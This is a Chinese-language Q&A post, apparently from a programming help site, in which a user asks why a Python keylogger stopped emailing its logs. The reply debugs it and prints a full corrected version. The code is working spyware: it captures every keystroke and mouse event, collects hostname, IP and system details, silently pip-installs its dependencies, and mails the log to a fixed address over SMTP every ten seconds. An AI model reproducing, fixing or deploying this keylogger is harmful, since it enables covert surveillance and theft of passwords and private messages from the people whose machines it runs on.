当我昨天尝试执行它时,它起作用了并且成功地向我发送了邮件。但是当我今天打开这个程序并尝试执行它时,它不起作用,也没有给出错误。请帮助我理解这个问题。
try:
import logging
import os
import platform
import smtplib
import ssl
import socket
import threading
from pynput import keyboard
from pynput.keyboard import Listener
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.message import EmailMessage
import glob
except ModuleNotFoundError:
from subprocess import call
modules = ["pyscreenshot","sounddevice","pynput"]
call("pip install " + ' '.join(modules), shell=True)
finally:
def sendEmail(message):
port = 587 # For SSL
smtp_server = "smtp-mail.outlook.com"
sender_email = "email"
password = "password"
receiver_email = "email"
# Create a secure SSL context
context = ssl.create_default_context()
try:
server = smtplib.SMTP(smtp_server, port)
server.ehlo() # Can be omitted
server.starttls(context=context) # Secure the connection
server.ehlo() # Can be omitted
server.login(sender_email, password)
server.send_message(message)
except Exception as e:
print(e)
finally:
server.quit()
EMAIL_ADDRESS = "email"
EMAIL_PASSWORD = "password"
SEND_REPORT_EVERY = 10 # as in seconds
class KeyLogger:
def __init__(self, time_interval, email, password):
self.interval = time_interval
self.log = "KeyLogger Started..."
self.email = email
self.password = password
def appendlog(self, string):
self.log = self.log + string
def on_move(self, x, y):
current_move = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_move)
def on_click(self, x, y):
current_click = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_click)
def on_scroll(self, x, y):
current_scroll = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_scroll)
def save_data(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = "SPACE"
elif key == key.esc:
current_key = "ESC"
else:
current_key = " " + str(key) + " "
self.appendlog(current_key)
def send_mail(self, email, password, message):
sender = "[email protected]"
receiver = "[email protected]"
msg = EmailMessage()
msg['From'] = sender
msg['To'] = receiver
msg['Subject'] = "Log File"
msg.set_content(message)
sendEmail(msg)
def report(self):
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer1 = threading.Timer(self.interval, self.report)
timer1.start()
def system_information(self):
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
plat = platform.processor()
system = platform.system()
machine = platform.machine()
self.appendlog(hostname)
self.appendlog(ip)
self.appendlog(plat)
self.appendlog(system)
self.appendlog(machine)
self.send_mail(self.mail, self.password, "\n\n" + self.log)
self.log = ""
def run(self):
system_information()
keyboard_listener = keyboard.Listener(on_press=self.save_data)
mouse_listener = Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll)
self.report()
keyboard_listener.start()
mouse_listener.start()
keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
keylogger.run()
因为程序立即结束。
所以,我们应该使用
listener.join()
而不是 listener.start()
Listener
(而不是 pynput.mouse
)中的 pynput.keyboard
作为鼠标。
from pynput.mouse import Listener
我们还需要一个结束程序的方法。这次,我假设释放
ESC
键将结束程序。
def on_release(self, key):
if key == key.esc:
# Stop listener
self.mouse_listener.stop()
self.report()
return False
def run():
# Other code
keyboard_listener = keyboard.Listener(on_press=self.save_data, on_release=self.on_release)
# Other code
在
run()
函数中,我们应该首先运行键盘监听器。这里我们使用 listener.start()
因为我们必须在此之后执行鼠标侦听器。
keyboard_listener.start()
现在,我们运行鼠标监听器。这里我们使用
listener.join()
with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
mouse_listener.join()
并且,我们更改
on_click()
函数的参数。因为on_click
,on_scroll
需要有5个参数(包括self)。
def on_click(self, x, y, button, pressed):
我们还将
system_information()
更改为 self.system_information()
。logging.info()
返回None
。所以,我们...
click = "Mouse moved to {} {}".format(x, y)
logger.info(click) # print click
self.appendlog(click)
这里,
logger
定义为...
logging.basicConfig(level = logging.INFO)
app_name = "my-app"
logger = logging.getLogger(app_name)
最后,最终的代码是...
try:
import logging
import os
import platform
import smtplib
import ssl
import socket
import threading
from pynput import keyboard
from pynput.mouse import Listener
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.message import EmailMessage
import glob
except ModuleNotFoundError:
from subprocess import call
modules = ["pyscreenshot","sounddevice","pynput"]
call("pip install " + ' '.join(modules), shell=True)
finally:
logging.basicConfig(level = logging.INFO)
app_name = "my-app"
logger = logging.getLogger(app_name)
def sendEmail(message):
port = 587 # For SSL
smtp_server = "smtp-mail.outlook.com"
sender_email = "email"
password = "password"
receiver_email = "email"
# Create a secure SSL context
context = ssl.create_default_context()
try:
server = smtplib.SMTP(smtp_server, port)
server.ehlo() # Can be omitted
server.starttls(context=context) # Secure the connection
server.ehlo() # Can be omitted
server.login(sender_email, password)
server.send_message(message)
except Exception as e:
print(e)
finally:
server.quit()
EMAIL_ADDRESS = "email"
EMAIL_PASSWORD = "password"
SEND_REPORT_EVERY = 10 # as in seconds
class KeyLogger:
def __init__(self, time_interval, email, password):
self.interval = time_interval
self.log = "KeyLogger Started..."
self.email = email
self.password = password
def appendlog(self, string):
self.log = self.log + string
def on_move(self, x, y):
click = "Mouse moved to {} {}".format(x, y)
logger.info(click) # print click
self.appendlog(click)
def on_release(self, key):
if key == key.esc:
# Stop listener
self.mouse_listener.stop()
self.report()
return False
def on_click(self, x, y, button, pressed):
click = "Mouse moved to {} {}".format(x, y)
logger.info(click) # print click
self.appendlog(click)
def on_scroll(self, x, y, button, pressed):
click = "Mouse moved to {} {}".format(x, y)
logger.info(click) # print click
self.appendlog(click)
def save_data(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = "SPACE"
elif key == key.esc:
current_key = "ESC"
else:
current_key = " " + str(key) + " "
self.appendlog(current_key)
def send_mail(self, email, password, message):
sender = "[email protected]"
receiver = "[email protected]"
msg = EmailMessage()
msg['From'] = sender
msg['To'] = receiver
msg['Subject'] = "Log File"
msg.set_content(message)
sendEmail(msg)
def report(self):
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer1 = threading.Timer(self.interval, self.report)
timer1.start()
def system_information(self):
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
plat = platform.processor()
system = platform.system()
machine = platform.machine()
self.appendlog(hostname)
self.appendlog(ip)
self.appendlog(plat)
self.appendlog(system)
self.appendlog(machine)
self.send_mail(self.mail, self.password, "\n\n" + self.log)
self.log = ""
def run(self):
self.system_information()
keyboard_listener = keyboard.Listener(on_press=self.save_data, on_release=self.on_release)
keyboard_listener.start()
with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
mouse_listener.join()
keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
keylogger.run()